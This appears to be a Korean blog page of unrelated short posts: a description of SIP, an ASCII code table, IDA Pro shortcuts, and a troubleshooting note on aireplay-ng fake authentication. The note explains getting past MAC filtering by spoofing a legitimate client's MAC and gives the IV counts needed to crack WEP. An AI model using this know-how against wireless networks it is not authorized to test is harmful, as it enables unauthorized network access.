SIP ITU-T H.323에 대응되는 프로토콜로, IETF MMUSIC (Multiparty Multimedia Session Control) 워킹그룹에서 개발해 1999 3월 표준화됐다. 멀티미디어 세션 또는 콜을 제어하는 프로토콜로 기존 H.323보다 작고 가벼워 간결한 호 설정을 제공한다.
단말 간 또는 사용자 간의 VoIP 서비스 뿐 아니라 다양한 서비스의 호 설정을 해주는 피어(peer) 레벨 콜 컨트롤 프로토콜이다. 따라서 모든 인터넷 단말기, 애플리케이션 서비스, 모든 네트워크 장비의 구성 요소로 포함돼 호 설정, 호 관리, 애플리케이션 서비스 요청 등의 서비스를 수행할 수 있다
.
H.323
과 비교시 용량, 확장성, 개발 부분이 편리하다는 이점이 있어 차세대 통합 표준 프로토콜로 인정 받고 있다.





 

DEC

HEX

OCT

Char

 

DEC

HEX

OCT

Char

 

DEC

HEX

OCT

Char

0

00

000

Ctrl-@ NUL

43

2B

053

+

86

56

126

V

1

01

001

Ctrl-A SOH

44

2C

054

,

87

57

127

W

2

02

002

Ctrl-B STX

45

2D

055

-

88

58

130

X

3

03

003

Ctrl-C ETX

46

2E

056

.

89

59

131

Y

4

04

004

Ctrl-D EOT

47

2F

057

/

90

5A

132

Z

5

05

005

Ctrl-E ENQ

48

30

060

0

91

5B

133

[

6

06

006

Ctrl-F ACK

49

31

061

1

92

5C

134

\

7

07

007

Ctrl-G BEL

50

32

062

2

93

5D

135

]

8

08

010

Ctrl-H BS

51

33

063

3

94

5E

136

^

9

09

011

Ctrl-I HT

52

34

064

4

95

5F

137

_

10

0A

012

Ctrl-J LF

53

35

065

5

96

60

140

`

11

0B

013

Ctrl-K VT

54

36

066

6

97

61

141

a

12

0C

014

Ctrl-L FF

55

37

067

7

98

62

142

b

13

0D

015

Ctrl-M CR

56

38

070

8

99

63

143

c

14

0E

016

Ctrl-N SO

57

39

071

9

100

64

144

d

15

0F

017

Ctrl-O SI

58

3A

072

:

101

65

145

e

16

10

020

Ctrl-P DLE

59

3B

073

;

102

66

146

f

17

11

021

Ctrl-Q DCI

60

3C

074

<

103

67

147

g

18

12

022

Ctrl-R DC2

61

3D

075

=

104

68

150

h

19

13

023

Ctrl-S DC3

62

3E

076

>

105

69

151

i

20

14

024

Ctrl-T DC4

63

3F

077

?

106

6A

152

j

21

15

025

Ctrl-U NAK

64

40

100

@

107

6B

153

k

22

16

026

Ctrl-V SYN

65

41

101

A

108

6C

154

l

23

17

027

Ctrl-W ETB

66

42

102

B

109

6D

155

m

24

18

030

Ctrl-X CAN

67

43

103

C

110

6E

156

n

25

19

031

Ctrl-Y EM

68

44

104

D

111

6F

157

o

26

1A

032

Ctrl-Z SUB

69

45

105

E

112

70

160

p

27

1B

033

Ctrl-[ ESC

70

46

106

F

113

71

161

q

28

1C

034

Ctrl-\ FS

71

47

107

G

114

72

162

r

29

1D

035

Ctrl-] GS

72

48

110

H

115

73

163

s

30

1E

036

Ctrl-^ RS

73

49

111

I

116

74

164

t

31

1F

037

Ctrl_ US

74

4A

112

J

117

75

165

u

32

20

040

Space

75

4B

113

K

118

76

166

v

33

21

041

!

76

4C

114

L

119

77

167

w

34

22

042

"

77

4D

115

M

120

78

170

x

35

23

043

#

78

4E

116

N

121

79

171

y

36

24

044

$

79

4F

117

O

122

7A

172

z

37

25

045

%

80

50

120

P

123

7B

173

{

38

26

046

&

81

51

121

Q

124

7C

174

|

39

27

047

'

82

52

122

R

125

7D

175

}

40

28

050

(

83

53

123

S

126

7E

176

~

41

29

051

)

84

54

124

T

127

7F

177

DEL

42

2A

052

*

85

55

125

U

 Text search  Alt+T
 Show strings window  Shift+F12
 Show operand as hex value  Q
 Insert comment  :
 Follow jump or call in view  Enter
 Return to previous view  Esc
 Go to next view  Ctrl+Enter
 Show names window  Shift+F4
 Display function's flow chart  F12
 Display graph of function calls  Ctrl+F12
 Go to program's entry point  Ctrl+E
 Go to specific address  G
 Rename a variable or function  N
 Show listing of names  Ctrl+L
 Display listing of segments  Ctrl+S
 Show cross-references to selected function  Select function name » Ctrl+X
 Show stack of current function  Ctrl+K


aireplay-ng를 통해 fake authentication을 하려고 하는데
계속해서 "authentication failed (code 1)"이라는 메시지만 나오는 경우가 있다.



또 google를 탐색하여 정보를 찾을 수 있었지만, 답은 의외로 쉬운곳에 있었다.
바로
http://aircrack-ng.org/doku.php?id=fake_authentication 에 나와 있었다. -_-;;
MAC access controls enabled on the AP

If fake authentication is never successful (aireplay-ng keeps sending authentication requests) then MAC address filtering may be in place. This is where the access point will only accept connections from specific MAC addresses. In this case you will need to obtain a valid MAC address by observation using airodump-ng. Do not do a fake authentication for a specific MAC address if the client is active on the AP. See the MAC access control troubleshooting tip here



대략 내용은
MAC인증을 하는 AP에는 fake authentication을 할 수 없다. 정당한 사용자의 MAC이 필요하다.
결국 MAC address change를 해야 된다는 뜻....-_-;;;;;

실제로 내 AP에 무선랜카드 MAC을 등록하니 정상적으로 fake authentication이 가능하였다.



128bit WEP key를 크랙하기 위해서는 40,000~85,000개의 IVs 패킷이 필요한데 정말 이 정도는 모아야 된다는 것이 확인 되었다.

+ Recent posts